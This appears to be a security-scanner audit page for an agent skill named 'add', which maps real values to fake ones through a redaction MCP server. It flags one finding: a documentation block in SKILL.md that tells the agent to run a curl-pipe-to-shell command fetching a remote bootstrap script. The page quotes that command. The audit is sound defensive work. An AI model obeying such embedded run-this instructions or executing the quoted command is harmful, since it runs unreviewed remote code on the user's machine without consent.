add — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited add (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
The user wants to manually add a redaction mapping. Parse the arguments to extract the real value and fake replacement value, then call redact_add_mapping from the redact-server MCP.
If the user provided arguments like clientcorp.com target.example.com, use the first value as real and the second as fake.
If the user only provided one value, ask them for the replacement value, or suggest a sensible default like target-N.example.com for hostnames.
Confirm the mapping was added successfully.
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.